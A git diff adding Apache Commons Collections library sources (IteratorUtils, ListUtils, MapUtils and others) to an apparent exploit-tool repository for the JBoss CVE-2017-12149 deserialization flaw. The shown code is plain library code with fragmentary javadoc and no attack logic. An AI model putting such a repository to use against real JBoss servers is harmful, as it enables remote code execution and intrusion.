+
+ /**
+ * Prints the stack trace of this exception to the specified writer.
+ *
+ * @param out the PrintWriter
to use for output
+ */
+ public void printStackTrace(PrintWriter out) {
+ synchronized (out) {
+ super.printStackTrace(out);
+ if (rootCause != null && JDK_SUPPORTS_NESTED == false) {
+ out.print("Caused by: ");
+ rootCause.printStackTrace(out);
+ }
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/HashBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/HashBag.java"
new file mode 100644
index 0000000..d5496cc
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/HashBag.java"
@@ -0,0 +1,50 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Collection;
+import java.util.HashMap;
+
+/**
+ * A {@link Bag} that is backed by a {@link HashMap}.
+ *
+ * @deprecated Moved to bag subpackage and rewritten internally. Due to be removed in v4.0.
+ * @since Commons Collections 2.0
+ * @version $Revision: 1.13 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Chuck Burdick
+ */
+public class HashBag extends DefaultMapBag implements Bag {
+
+ /**
+ * Constructs an empty HashBag
.
+ */
+ public HashBag() {
+ super(new HashMap());
+ }
+
+ /**
+ * Constructs a {@link Bag} containing all the members of the given
+ * collection.
+ *
+ * @param coll a collection to copy into this bag
+ */
+ public HashBag(Collection coll) {
+ this();
+ addAll(coll);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/IterableMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/IterableMap.java"
new file mode 100644
index 0000000..b7029fd
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/IterableMap.java"
@@ -0,0 +1,61 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Map;
+
+/**
+ * Defines a map that can be iterated directly without needing to create an entry set.
+ *
+ * IterableMap map = new HashedMap();
+ * MapIterator it = map.mapIterator();
+ * while (it.hasNext()) {
+ * Object key = it.next();
+ * Object value = it.getValue();
+ * it.setValue("newValue");
+ * }
+ *
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 01:15:43 $
+ *
+ * @author Stephen Colebourne
+ */
+public interface IterableMap extends Map {
+
+ /**
+ * Obtains a MapIterator
over the map.
+ *
+ * IterableMap map = new HashedMap();
+ * MapIterator it = map.mapIterator();
+ * while (it.hasNext()) {
+ * Object key = it.next();
+ * Object value = it.getValue();
+ * it.setValue("newValue");
+ * }
+ *
+ *
+ * @return a map iterator
+ */
+ MapIterator mapIterator();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/IteratorUtils.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/IteratorUtils.java"
new file mode 100644
index 0000000..c759b70
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/IteratorUtils.java"
@@ -0,0 +1,894 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.lang.reflect.Array;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.Dictionary;
+import java.util.Enumeration;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.Map;
+
+import org.apache.commons.collections.iterators.ArrayIterator;
+import org.apache.commons.collections.iterators.ArrayListIterator;
+import org.apache.commons.collections.iterators.CollatingIterator;
+import org.apache.commons.collections.iterators.EmptyIterator;
+import org.apache.commons.collections.iterators.EmptyListIterator;
+import org.apache.commons.collections.iterators.EmptyMapIterator;
+import org.apache.commons.collections.iterators.EmptyOrderedIterator;
+import org.apache.commons.collections.iterators.EmptyOrderedMapIterator;
+import org.apache.commons.collections.iterators.EnumerationIterator;
+import org.apache.commons.collections.iterators.FilterIterator;
+import org.apache.commons.collections.iterators.FilterListIterator;
+import org.apache.commons.collections.iterators.IteratorChain;
+import org.apache.commons.collections.iterators.IteratorEnumeration;
+import org.apache.commons.collections.iterators.ListIteratorWrapper;
+import org.apache.commons.collections.iterators.LoopingIterator;
+import org.apache.commons.collections.iterators.ObjectArrayIterator;
+import org.apache.commons.collections.iterators.ObjectArrayListIterator;
+import org.apache.commons.collections.iterators.ObjectGraphIterator;
+import org.apache.commons.collections.iterators.SingletonIterator;
+import org.apache.commons.collections.iterators.SingletonListIterator;
+import org.apache.commons.collections.iterators.TransformIterator;
+import org.apache.commons.collections.iterators.UnmodifiableIterator;
+import org.apache.commons.collections.iterators.UnmodifiableListIterator;
+import org.apache.commons.collections.iterators.UnmodifiableMapIterator;
+
+/**
+ * Provides static utility methods and decorators for {@link Iterator}
+ * instances. The implementations are provided in the iterators subpackage.
+ * EmptyIterator.INSTANCE
for compatability with Commons Collections 2.1.1.
+ */
+ public static final ResettableIterator EMPTY_ITERATOR = EmptyIterator.RESETTABLE_INSTANCE;
+ /**
+ * A list iterator over no elements.
+ * EmptyListIterator.INSTANCE
for compatability with Commons Collections 2.1.1.
+ */
+ public static final ResettableListIterator EMPTY_LIST_ITERATOR = EmptyListIterator.RESETTABLE_INSTANCE;
+ /**
+ * An ordered iterator over no elements.
+ */
+ public static final OrderedIterator EMPTY_ORDERED_ITERATOR = EmptyOrderedIterator.INSTANCE;
+ /**
+ * A map iterator over no elements.
+ */
+ public static final MapIterator EMPTY_MAP_ITERATOR = EmptyMapIterator.INSTANCE;
+ /**
+ * An ordered map iterator over no elements.
+ */
+ public static final OrderedMapIterator EMPTY_ORDERED_MAP_ITERATOR = EmptyOrderedMapIterator.INSTANCE;
+
+ /**
+ * IteratorUtils is not normally instantiated.
+ */
+ public IteratorUtils() {
+ }
+
+ // Empty
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an empty iterator.
+ * EmptyIterator.INSTANCE
for compatability with Commons Collections 2.1.1.
+ *
+ * @return an iterator over nothing
+ */
+ public static ResettableIterator emptyIterator() {
+ return EMPTY_ITERATOR;
+ }
+
+ /**
+ * Gets an empty list iterator.
+ * EmptyListIterator.INSTANCE
for compatability with Commons Collections 2.1.1.
+ *
+ * @return a list iterator over nothing
+ */
+ public static ResettableListIterator emptyListIterator() {
+ return EMPTY_LIST_ITERATOR;
+ }
+
+ /**
+ * Gets an empty ordered iterator.
+ * new SingletonIterator(object)
for compatability.
+ *
+ * @param object the single object over which to iterate
+ * @return a singleton iterator over the object
+ */
+ public static ResettableIterator singletonIterator(Object object) {
+ return new SingletonIterator(object);
+ }
+
+ /**
+ * Gets a singleton list iterator.
+ * new ArrayIterator(array)
for compatability.
+ *
+ * @param array the array over which to iterate
+ * @return an iterator over the array
+ * @throws NullPointerException if array is null
+ */
+ public static ResettableIterator arrayIterator(Object[] array) {
+ return new ObjectArrayIterator(array);
+ }
+
+ /**
+ * Gets an iterator over an object or primitive array.
+ * new ArrayIterator(array,start)
for compatability.
+ *
+ * @param array the array over which to iterate
+ * @param start the index to start iterating at
+ * @return an iterator over part of the array
+ * @throws IndexOutOfBoundsException if start is less than zero or greater
+ * than the length of the array
+ * @throws NullPointerException if array is null
+ */
+ public static ResettableIterator arrayIterator(Object[] array, int start) {
+ return new ObjectArrayIterator(array, start);
+ }
+
+ /**
+ * Gets an iterator over the end part of an object or primitive array.
+ * new ArrayIterator(array,start,end)
for compatability.
+ *
+ * @param array the array over which to iterate
+ * @param start the index to start iterating at
+ * @param end the index to finish iterating at
+ * @return an iterator over part of the array
+ * @throws IndexOutOfBoundsException if array bounds are invalid
+ * @throws IllegalArgumentException if end is before start
+ * @throws NullPointerException if array is null
+ */
+ public static ResettableIterator arrayIterator(Object[] array, int start, int end) {
+ return new ObjectArrayIterator(array, start, end);
+ }
+
+ /**
+ * Gets an iterator over part of an object or primitive array.
+ * A
and B
,
+ * the {@link Iterator#next()} method will return the lesser of
+ * A.next()
and B.next()
.
+ * A
and B
,
+ * the {@link Iterator#next()} method will return the lesser of
+ * A.next()
and B.next()
and so on.
+ * A
and B
,
+ * the {@link Iterator#next()} method will return the lesser of
+ * A.next()
and B.next()
and so on.
+ * Transformer
to extract the iterators and elements.
+ * Its main benefit is that no intermediate List
is created.
+ *
+ * |- Branch -- Leaf
+ * | \- Leaf
+ * |- Tree | /- Leaf
+ * | |- Branch -- Leaf
+ * Forest | \- Leaf
+ * | |- Branch -- Leaf
+ * | | \- Leaf
+ * |- Tree | /- Leaf
+ * |- Branch -- Leaf
+ * |- Branch -- Leaf
+ * The following Transformer
, used in this class, will extract all
+ * the Leaf objects without creating a combined intermediate list:
+ *
+ * public Object transform(Object input) {
+ * if (input instanceof Forest) {
+ * return ((Forest) input).treeIterator();
+ * }
+ * if (input instanceof Tree) {
+ * return ((Tree) input).branchIterator();
+ * }
+ * if (input instanceof Branch) {
+ * return ((Branch) input).leafIterator();
+ * }
+ * if (input instanceof Leaf) {
+ * return input;
+ * }
+ * throw new ClassCastException();
+ * }
+ *
+ *
+ *
+ * @param obj the object to convert to an iterator
+ * @return a suitable iterator, never null
+ */
+ public static Iterator getIterator(Object obj) {
+ if (obj == null) {
+ return emptyIterator();
+
+ } else if (obj instanceof Iterator) {
+ return (Iterator) obj;
+
+ } else if (obj instanceof Collection) {
+ return ((Collection) obj).iterator();
+
+ } else if (obj instanceof Object[]) {
+ return new ObjectArrayIterator((Object[]) obj);
+
+ } else if (obj instanceof Enumeration) {
+ return new EnumerationIterator((Enumeration) obj);
+
+ } else if (obj instanceof Map) {
+ return ((Map) obj).values().iterator();
+
+ } else if (obj instanceof Dictionary) {
+ return new EnumerationIterator(((Dictionary) obj).elements());
+
+ } else if (obj != null && obj.getClass().isArray()) {
+ return new ArrayIterator(obj);
+
+ } else {
+ try {
+ Method method = obj.getClass().getMethod("iterator", null);
+ if (Iterator.class.isAssignableFrom(method.getReturnType())) {
+ Iterator it = (Iterator) method.invoke(obj, null);
+ if (it != null) {
+ return it;
+ }
+ }
+ } catch (Exception ex) {
+ // ignore
+ }
+ return singletonIterator(obj);
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/KeyValue.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/KeyValue.java"
new file mode 100644
index 0000000..c5255d0
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/KeyValue.java"
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+/**
+ * Defines a simple key value pair.
+ * Collections.synchronizedMap( theMapToSynchronize )
+ * If it will be accessed by multiple threads, you _must_ synchronize access
+ * to this Map. Even concurrent get(Object) operations produce indeterminate
+ * behaviour.
+ * ListUtils
should not normally be instantiated.
+ */
+ public ListUtils() {
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns a new list containing all elements that are contained in
+ * both given lists.
+ *
+ * @param list1 the first list
+ * @param list2 the second list
+ * @return the intersection of those two lists
+ * @throws NullPointerException if either list is null
+ */
+ public static List intersection(final List list1, final List list2) {
+ final ArrayList result = new ArrayList();
+ final Iterator iterator = list2.iterator();
+
+ while (iterator.hasNext()) {
+ final Object o = iterator.next();
+
+ if (list1.contains(o)) {
+ result.add(o);
+ }
+ }
+
+ return result;
+ }
+
+ /**
+ * Subtracts all elements in the second list from the first list,
+ * placing the results in a new list.
+ * list1
contains two
+ * occurrences of null
and list2
only
+ * contains one occurrence, then the returned list will still contain
+ * one occurrence.
+ *
+ * @param list1 the list to subtract from
+ * @param list2 the list to subtract
+ * @return a new list containing the results
+ * @throws NullPointerException if either list is null
+ */
+ public static List subtract(final List list1, final List list2) {
+ final ArrayList result = new ArrayList(list1);
+ final Iterator iterator = list2.iterator();
+
+ while (iterator.hasNext()) {
+ result.remove(iterator.next());
+ }
+
+ return result;
+ }
+
+ /**
+ * Returns the sum of the given lists. This is their intersection
+ * subtracted from their union.
+ *
+ * @param list1 the first list
+ * @param list2 the second list
+ * @return a new list containing the sum of those lists
+ * @throws NullPointerException if either list is null
+ */
+ public static List sum(final List list1, final List list2) {
+ return subtract(union(list1, list2), intersection(list1, list2));
+ }
+
+ /**
+ * Returns a new list containing the second list appended to the
+ * first list. The {@link List#addAll(Collection)} operation is
+ * used to append the two given lists into a new list.
+ *
+ * @param list1 the first list
+ * @param list2 the second list
+ * @return a new list containing the union of those lists
+ * @throws NullPointerException if either list is null
+ */
+ public static List union(final List list1, final List list2) {
+ final ArrayList result = new ArrayList(list1);
+ result.addAll(list2);
+ return result;
+ }
+
+ /**
+ * Tests two lists for value-equality as per the equality contract in
+ * {@link java.util.List#equals(java.lang.Object)}.
+ * List
when you cannot
+ * extend AbstractList. The method takes Collection instances to enable other
+ * collection types to use the List implementation algorithm.
+ *
+ * Compares the two list objects for equality. Returns
+ * true if and only if both
+ * lists have the same size, and all corresponding pairs of elements in
+ * the two lists are equal. (Two elements e1 and
+ * e2 are equal if (e1==null ? e2==null :
+ * e1.equals(e2)).) In other words, two lists are defined to be
+ * equal if they contain the same elements in the same order. This
+ * definition ensures that the equals method works properly across
+ * different implementations of the List interface.
+ *
+ *
+ * Note: The behaviour of this method is undefined if the lists are
+ * modified during the equals comparison.
+ *
+ * @see java.util.List
+ * @param list1 the first list, may be null
+ * @param list2 the second list, may be null
+ * @return whether the lists are equal by value comparison
+ */
+ public static boolean isEqualList(final Collection list1, final Collection list2) {
+ if (list1 == list2) {
+ return true;
+ }
+ if (list1 == null || list2 == null || list1.size() != list2.size()) {
+ return false;
+ }
+
+ Iterator it1 = list1.iterator();
+ Iterator it2 = list2.iterator();
+ Object obj1 = null;
+ Object obj2 = null;
+
+ while (it1.hasNext() && it2.hasNext()) {
+ obj1 = it1.next();
+ obj2 = it2.next();
+
+ if (!(obj1 == null ? obj2 == null : obj1.equals(obj2))) {
+ return false;
+ }
+ }
+
+ return !(it1.hasNext() || it2.hasNext());
+ }
+
+ /**
+ * Generates a hash code using the algorithm specified in
+ * {@link java.util.List#hashCode()}.
+ * List
when you cannot
+ * extend AbstractList. The method takes Collection instances to enable other
+ * collection types to use the List implementation algorithm.
+ *
+ * @see java.util.List#hashCode()
+ * @param list the list to generate the hashCode for, may be null
+ * @return the hash code
+ */
+ public static int hashCodeForList(final Collection list) {
+ if (list == null) {
+ return 0;
+ }
+ int hashCode = 1;
+ Iterator it = list.iterator();
+ Object obj = null;
+
+ while (it.hasNext()) {
+ obj = it.next();
+ hashCode = 31 * hashCode + (obj == null ? 0 : obj.hashCode());
+ }
+ return hashCode;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns a synchronized list backed by the given list.
+ *
+ * List list = ListUtils.synchronizedList(myList);
+ * synchronized (list) {
+ * Iterator i = list.iterator();
+ * while (i.hasNext()) {
+ * process (i.next());
+ * }
+ * }
+ *
+ *
+ * This method uses the implementation in the decorators subpackage.
+ *
+ * @param list the list to synchronize, must not be null
+ * @return a synchronized list backed by the given list
+ * @throws IllegalArgumentException if the list is null
+ */
+ public static List synchronizedList(List list) {
+ return SynchronizedList.decorate(list);
+ }
+
+ /**
+ * Returns an unmodifiable list backed by the given list.
+ *
+ * Factory factory = new Factory() {
+ * public Object create() {
+ * return new Date();
+ * }
+ * }
+ * List lazy = ListUtils.lazyList(new ArrayList(), factory);
+ * Object obj = lazy.get(3);
+ *
+ *
+ * After the above code is executed, obj
will contain
+ * a new Date
instance. Furthermore, that Date
+ * instance is the fourth element in the list. The first, second,
+ * and third element are all set to null
.
+ *
+ * @param list the list to make lazy, must not be null
+ * @param factory the factory for creating new objects, must not be null
+ * @return a lazy list backed by the given list
+ * @throws IllegalArgumentException if the List or Factory is null
+ */
+ public static List lazyList(List list, Factory factory) {
+ return LazyList.decorate(list, factory);
+ }
+
+ /**
+ * Returns a fixed-sized list backed by the given list.
+ * Elements may not be added or removed from the returned list, but
+ * existing elements can be changed (for instance, via the
+ * {@link List#set(int,Object)} method).
+ *
+ * @param list the list whose size to fix, must not be null
+ * @return a fixed-size list backed by that list
+ * @throws IllegalArgumentException if the List is null
+ */
+ public static List fixedSizeList(List list) {
+ return FixedSizeList.decorate(list);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MapIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MapIterator.java"
new file mode 100644
index 0000000..67b1d60
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MapIterator.java"
@@ -0,0 +1,108 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Iterator;
+
+/**
+ * Defines an iterator that operates over a Map
.
+ * next()
, the getValue()
method provides direct
+ * access to the value. The value can also be set using setValue()
.
+ *
+ * MapIterator it = map.mapIterator();
+ * while (it.hasNext()) {
+ * Object key = it.next();
+ * Object value = it.getValue();
+ * it.setValue(newValue);
+ * }
+ *
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Stephen Colebourne
+ */
+public interface MapIterator extends Iterator {
+
+ /**
+ * Checks to see if there are more entries still to be iterated.
+ *
+ * @return true
if the iterator has more elements
+ */
+ boolean hasNext();
+
+ /**
+ * Gets the next key from the Map
.
+ *
+ * @return the next key in the iteration
+ * @throws java.util.NoSuchElementException if the iteration is finished
+ */
+ Object next();
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the current key, which is the key returned by the last call
+ * to next()
.
+ *
+ * @return the current key
+ * @throws IllegalStateException if next()
has not yet been called
+ */
+ Object getKey();
+
+ /**
+ * Gets the current value, which is the value associated with the last key
+ * returned by next()
.
+ *
+ * @return the current value
+ * @throws IllegalStateException if next()
has not yet been called
+ */
+ Object getValue();
+
+ //-----------------------------------------------------------------------
+ /**
+ * Removes the last returned key from the underlying Map
(optional operation).
+ * next()
.
+ *
+ * @throws UnsupportedOperationException if remove is not supported by the map
+ * @throws IllegalStateException if next()
has not yet been called
+ * @throws IllegalStateException if remove()
has already been called
+ * since the last call to next()
+ */
+ void remove();
+
+ /**
+ * Sets the value associated with the current key (optional operation).
+ *
+ * @param value the new value
+ * @return the previous value
+ * @throws UnsupportedOperationException if setValue is not supported by the map
+ * @throws IllegalStateException if next()
has not yet been called
+ * @throws IllegalStateException if remove()
has been called since the
+ * last call to next()
+ */
+ Object setValue(Object value);
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MapUtils.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MapUtils.java"
new file mode 100644
index 0000000..4b6fd8a
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MapUtils.java"
@@ -0,0 +1,1469 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.io.PrintStream;
+import java.text.NumberFormat;
+import java.text.ParseException;
+import java.util.Collections;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Properties;
+import java.util.ResourceBundle;
+import java.util.SortedMap;
+import java.util.TreeMap;
+
+import org.apache.commons.collections.map.FixedSizeMap;
+import org.apache.commons.collections.map.FixedSizeSortedMap;
+import org.apache.commons.collections.map.LazyMap;
+import org.apache.commons.collections.map.LazySortedMap;
+import org.apache.commons.collections.map.ListOrderedMap;
+import org.apache.commons.collections.map.PredicatedMap;
+import org.apache.commons.collections.map.PredicatedSortedMap;
+import org.apache.commons.collections.map.TransformedMap;
+import org.apache.commons.collections.map.TransformedSortedMap;
+import org.apache.commons.collections.map.TypedMap;
+import org.apache.commons.collections.map.TypedSortedMap;
+import org.apache.commons.collections.map.UnmodifiableMap;
+import org.apache.commons.collections.map.UnmodifiableSortedMap;
+
+/**
+ * Provides utility methods and decorators for
+ * {@link Map} and {@link SortedMap} instances.
+ *
+ *
+ *
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.46 $ $Date: 2004/04/21 20:34:11 $
+ *
+ * @author James Strachan
+ * @author Nissim Karpenstein
+ * @author Kasper Nielsen
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ * @author Matthew Hawthorne
+ * @author Arun Mammen Thomas
+ * @author Janek Bogucki
+ * @author Max Rydahl Andersen
+ * @author Ashwin S
+ */
+public class MapUtils {
+
+ /**
+ * An empty unmodifiable map.
+ * This was not provided in JDK1.2.
+ */
+ public static final Map EMPTY_MAP = UnmodifiableMap.decorate(new HashMap(1));
+ /**
+ * An empty unmodifiable sorted map.
+ * This is not provided in the JDK.
+ */
+ public static final SortedMap EMPTY_SORTED_MAP = UnmodifiableSortedMap.decorate(new TreeMap());
+ /**
+ * String used to indent the verbose and debug Map prints.
+ */
+ private static final String INDENT_STRING = " ";
+
+ /**
+ * MapUtils
should not normally be instantiated.
+ */
+ public MapUtils() {
+ }
+
+ // Type safe getters
+ //-------------------------------------------------------------------------
+ /**
+ * Gets from a Map in a null-safe manner.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map, null
if null map input
+ */
+ public static Object getObject(final Map map, final Object key) {
+ if (map != null) {
+ return map.get(key);
+ }
+ return null;
+ }
+
+ /**
+ * Gets a String from a Map in a null-safe manner.
+ * toString
.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a String, null
if null map input
+ */
+ public static String getString(final Map map, final Object key) {
+ if (map != null) {
+ Object answer = map.get(key);
+ if (answer != null) {
+ return answer.toString();
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Gets a Boolean from a Map in a null-safe manner.
+ * Boolean
it is returned directly.
+ * If the value is a String
and it equals 'true' ignoring case
+ * then true
is returned, otherwise false
.
+ * If the value is a Number
an integer zero value returns
+ * false
and non-zero returns true
.
+ * Otherwise, null
is returned.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a Boolean, null
if null map input
+ */
+ public static Boolean getBoolean(final Map map, final Object key) {
+ if (map != null) {
+ Object answer = map.get(key);
+ if (answer != null) {
+ if (answer instanceof Boolean) {
+ return (Boolean) answer;
+
+ } else if (answer instanceof String) {
+ return new Boolean((String) answer);
+
+ } else if (answer instanceof Number) {
+ Number n = (Number) answer;
+ return (n.intValue() != 0) ? Boolean.TRUE : Boolean.FALSE;
+ }
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Gets a Number from a Map in a null-safe manner.
+ * Number
it is returned directly.
+ * If the value is a String
it is converted using
+ * {@link NumberFormat#parse(String)} on the system default formatter
+ * returning null
if the conversion fails.
+ * Otherwise, null
is returned.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a Number, null
if null map input
+ */
+ public static Number getNumber(final Map map, final Object key) {
+ if (map != null) {
+ Object answer = map.get(key);
+ if (answer != null) {
+ if (answer instanceof Number) {
+ return (Number) answer;
+
+ } else if (answer instanceof String) {
+ try {
+ String text = (String) answer;
+ return NumberFormat.getInstance().parse(text);
+
+ } catch (ParseException e) {
+ logInfo(e);
+ }
+ }
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Gets a Byte from a Map in a null-safe manner.
+ * null
if null map input
+ */
+ public static Byte getByte(final Map map, final Object key) {
+ Number answer = getNumber(map, key);
+ if (answer == null) {
+ return null;
+ } else if (answer instanceof Byte) {
+ return (Byte) answer;
+ }
+ return new Byte(answer.byteValue());
+ }
+
+ /**
+ * Gets a Short from a Map in a null-safe manner.
+ * null
if null map input
+ */
+ public static Short getShort(final Map map, final Object key) {
+ Number answer = getNumber(map, key);
+ if (answer == null) {
+ return null;
+ } else if (answer instanceof Short) {
+ return (Short) answer;
+ }
+ return new Short(answer.shortValue());
+ }
+
+ /**
+ * Gets a Integer from a Map in a null-safe manner.
+ * null
if null map input
+ */
+ public static Integer getInteger(final Map map, final Object key) {
+ Number answer = getNumber(map, key);
+ if (answer == null) {
+ return null;
+ } else if (answer instanceof Integer) {
+ return (Integer) answer;
+ }
+ return new Integer(answer.intValue());
+ }
+
+ /**
+ * Gets a Long from a Map in a null-safe manner.
+ * null
if null map input
+ */
+ public static Long getLong(final Map map, final Object key) {
+ Number answer = getNumber(map, key);
+ if (answer == null) {
+ return null;
+ } else if (answer instanceof Long) {
+ return (Long) answer;
+ }
+ return new Long(answer.longValue());
+ }
+
+ /**
+ * Gets a Float from a Map in a null-safe manner.
+ * null
if null map input
+ */
+ public static Float getFloat(final Map map, final Object key) {
+ Number answer = getNumber(map, key);
+ if (answer == null) {
+ return null;
+ } else if (answer instanceof Float) {
+ return (Float) answer;
+ }
+ return new Float(answer.floatValue());
+ }
+
+ /**
+ * Gets a Double from a Map in a null-safe manner.
+ * null
if null map input
+ */
+ public static Double getDouble(final Map map, final Object key) {
+ Number answer = getNumber(map, key);
+ if (answer == null) {
+ return null;
+ } else if (answer instanceof Double) {
+ return (Double) answer;
+ }
+ return new Double(answer.doubleValue());
+ }
+
+ /**
+ * Gets a Map from a Map in a null-safe manner.
+ * null
is returned.
+ *
+ * @param map the map to use
+ * @param key the key to look up
+ * @return the value in the Map as a Map, null
if null map input
+ */
